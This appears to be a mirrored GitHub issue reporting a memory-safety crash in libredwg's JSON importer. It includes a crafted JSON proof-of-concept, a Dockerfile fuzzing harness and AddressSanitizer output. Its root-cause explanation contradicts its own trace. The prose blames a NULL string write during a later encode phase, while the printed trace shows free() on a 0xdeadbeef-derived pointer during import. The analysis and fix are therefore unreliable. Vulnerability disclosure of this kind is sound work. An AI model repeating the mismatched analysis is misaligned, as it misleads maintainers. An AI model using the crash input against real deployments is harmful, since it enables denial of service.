ITADN

Illegal write memory access from `dwg_read_json`

#1258Openarthurscchan 创建于 2026-05-12
fuzzing
A
arthurscchancommented
## Summary libredwg's JSON importer (`dwg_read_json`) successfully parses a crafted FIELD object with `format_flags=4`, `data_long=0xDEADBEEF`, and `data_string="trigger"`, producing an internal `Dwg_Object` with `obj->type=500` (user-class range) but `obj->fixedtype=DWG_TYPE_FIELD=635`. The subsequent encode or DXF-write phase then calls into the `TABLE_value_fields` macro (defined in `src/dwg_spec_shared.h`) which contains a `SINCE(R_2007a)` block that unconditionally writes `value.format_string` and `value.value_string` via `FIELD_T`. Because the JSON PoC never sets these fields, both pointers are `NULL` at encode time. For R_2007+ output (the PoC declares `AC1024` / R_2010), `FIELD_T` expands to the Unicode path `FIELD_TU`, which calls `bit_write_TU(NULL)`. Writing a NULL Unicode string triggers an access violation, producing `AddressSanitizer:DEADLYSIGNAL` libredwg parses and writes AutoCAD DWG/DXF/JSON files. The `FIELD` object type stores formula-field metadata including a `Dwg_TABLE_value` sub-struct. That struct has two string members — `format_string` (DXF code 300) and `value_string` (DXF code 302) — that are written unconditionally in R_2007+ output regardless of whether they were populated during parsing. The guard condition `!(dat->version >= R_2007 && (format_flags & 3))` that precedes the `data_type` switch does not protect the `SINCE(R_2007a)` trailing block. Setting `format_flags=4` (bit 2 only; `& 3 = 0`) keeps the data-type switch active but does not affect whether the trailing string-output block runs. Both blocks execute, and the trailing block writes two `BITCODE_T` (char\*) fields that the JSON importer left as `NULL`. ### Vulnerable Code https://github.com/LibreDWG/libredwg/blob/615cd958ff00c13e110c0b87ca96121ed15e34f6/src/dwg_spec_shared.h#L587-L648 https://github.com/LibreDWG/libredwg/blob/615cd958ff00c13e110c0b87ca96121ed15e34f6/src/in_json.c#L2837-L2903 **Plain explanation**: `TABLE_value_fields` always emits `value.format_string` and `value.value_string` for R_2007+ files. The JSON importer populates only the fields explicitly present in the input; when `"format_string"` and `"value_string"` are absent from the JSON (as in the PoC), those struct members remain `NULL`. When the encoder later expands `FIELD_T(value.format_string, 300)` into `bit_write_TU(NULL)` for a Unicode-mode output stream, the NULL pointer dereference crashes the process. In the encode/DXF-write path `TABLE_value_fields` evaluates (for R_2010, IS_FROM_TU=true). It safely writes the data as `uint32`, but later FIELD_T macro deferencing a null and cause the crash. https://github.com/LibreDWG/libredwg/blob/615cd958ff00c13e110c0b87ca96121ed15e34f6/src/dwg_spec_shared.h#L591-L597 https://github.com/LibreDWG/libredwg/blob/615cd958ff00c13e110c0b87ca96121ed15e34f6/src/dwg_spec_shared.h#L642-L648 ## Reproduction Steps ``` # Docker image build for the reproduction docker build -t poc -f Dockerfile . # Docker run of the reproduction docker run poc ``` ## Full Dockerfile content ```dockerfile FROM gcr.io/oss-fuzz-base/base-builder RUN apt-get update && apt-get install -y autoconf libtool texinfo ENV SANITIZER=address ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address" ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address -stdlib=libc++" ENV LIB_FUZZING_ENGINE="-fsanitize=fuzzer" RUN git clone https://github.com/LibreDWG/libredwg /src/libredwg WORKDIR /src/libredwg RUN sh ./autogen.sh && \ ./configure --disable-shared --disable-bindings --enable-release \ CFLAGS="$CFLAGS -Wno-default-const-init-field-unsafe -Wno-uninitialized-const-pointer -Wno-error" \ CXXFLAGS="$CXXFLAGS -Wno-default-const-init-field-unsafe -Wno-uninitialized-const-pointer -Wno-error" && \ make -j$(nproc) RUN $CC $CFLAGS -Wno-default-const-init-field-unsafe -Wno-uninitialized-const-pointer \ src/.libs/libredwg.a -I./include -I./src -c examples/llvmfuzz.c -o /tmp/llvmfuzz.o && \ $CXX $CXXFLAGS $LIB_FUZZING_ENGINE /tmp/llvmfuzz.o src/.libs/libredwg.a -o /out/llvmfuzz RUN cat <<'EOF' > /tmp/poc { "created_by": "libredwg 0.12", "FILEHEADER": {"version": "AC1024"}, "HEADER": {"ACADVER": "AC1024"}, "CLASSES": [], "OBJECTS": [{ "object": "FIELD", "index": 0, "type": 500, "handle": [0, 1, 100, 100], "value": {"format_flags": 4, "data_long": -559038721}, "value.data_string": "trigger" }] } EOF CMD ["/out/llvmfuzz", "/tmp/poc"] ``` ### AddressSanitizer crash output The original crash report contains only: ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==1==ERROR: AddressSanitizer: SEGV on unknown address 0x0000deadbeef (pc 0x5831172fbc63 bp 0x000000000001 sp 0x7ffc7fa3bce0 T0) ==1==The signal is caused by a WRITE memory access. #0 0x5831172fbc63 in atomic_compare_exchange_strong<__sanitizer::atomic_uint8_t> /src/llvm-project/compiler-rt/lib/asan/../sanitizer_common/sanitizer_atomic_clang.h:97:10 #1 0x5831172fbc63 in AtomicallySetQuarantineFlagIfAllocated /src/llvm-project/compiler-rt/lib/asan/asan_allocator.cpp:674:10 #2 0x5831172fbc63 in __asan::Allocator::Deallocate(void*, unsigned long, unsigned long, __sanitizer::BufferedStackTrace*, __asan::AllocType) /src/llvm-project/compiler-rt/lib/asan/asan_allocator.cpp:738:10 #3 0x58311739c676 in free /src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:52:3 #4 0x583117d11ea4 in dynapi_set_helper /src/libredwg/src/gen-dynapi.pl:3512:11 #5 0x583117d13bc0 in dwg_dynapi_field_set_value /src/libredwg/src/gen-dynapi.pl:3880:3 #6 0x583119b2b517 in _set_struct_field /src/libredwg/src/in_json.c:2345:15 #7 0x583119b2a63e in _set_struct_field /src/libredwg/src/in_json.c:2939:23 #8 0x583119b116a2 in json_OBJECTS /src/libredwg/src/in_json.c:3665:19 #9 0x583119b0919e in dwg_read_json /src/libredwg/src/in_json.c:5392:18 #10 0x5831173e08a8 in LLVMFuzzerTestOneInput /src/libredwg/examples/llvmfuzz.c:98:11 #11 0x58311727df5d in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:619:13 #12 0x583117268cd2 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:329:6 #13 0x58311726eba0 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:865:9 #14 0x58311729a6d2 in main /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerMain.cpp:20:10 #15 0x719756c39082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) (BuildId: 5792732f783158c66fb4f3756458ca24e46e827d) #16 0x583117261dbd in _start (/out/llvmfuzz+0x361dbd) ==1==Register values: rax = 0x0000000000000002 rbx = 0x00007ffc7fa3bd38 rcx = 0x000058311727ba03 rdx = 0x0000000000000000 rdi = 0x00000000deadbeff rsi = 0x00000000deadbeff rbp = 0x0000000000000001 rsp = 0x00007ffc7fa3bce0 r8 = 0x00007ffc7fa3bd38 r9 = 0x0000000000000001 r10 = 0x0000000000000000 r11 = 0x000000000000000c r12 = 0x000058311a402ec8 r13 = 0x00000000deadbeef r14 = 0x00000000deadbeff r15 = 0x0000000000000000 AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /src/libredwg/src/gen-dynapi.pl:3512:11 in dynapi_set_helper ``` ## Recommended Fix Add NULL guards before writing optional string fields in the `SINCE(R_2007a)` block of `TABLE_value_fields` . ## Attribution This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged manually with manual report writing by Ada Logics in collaboration with Anthropic Research.
0 条评论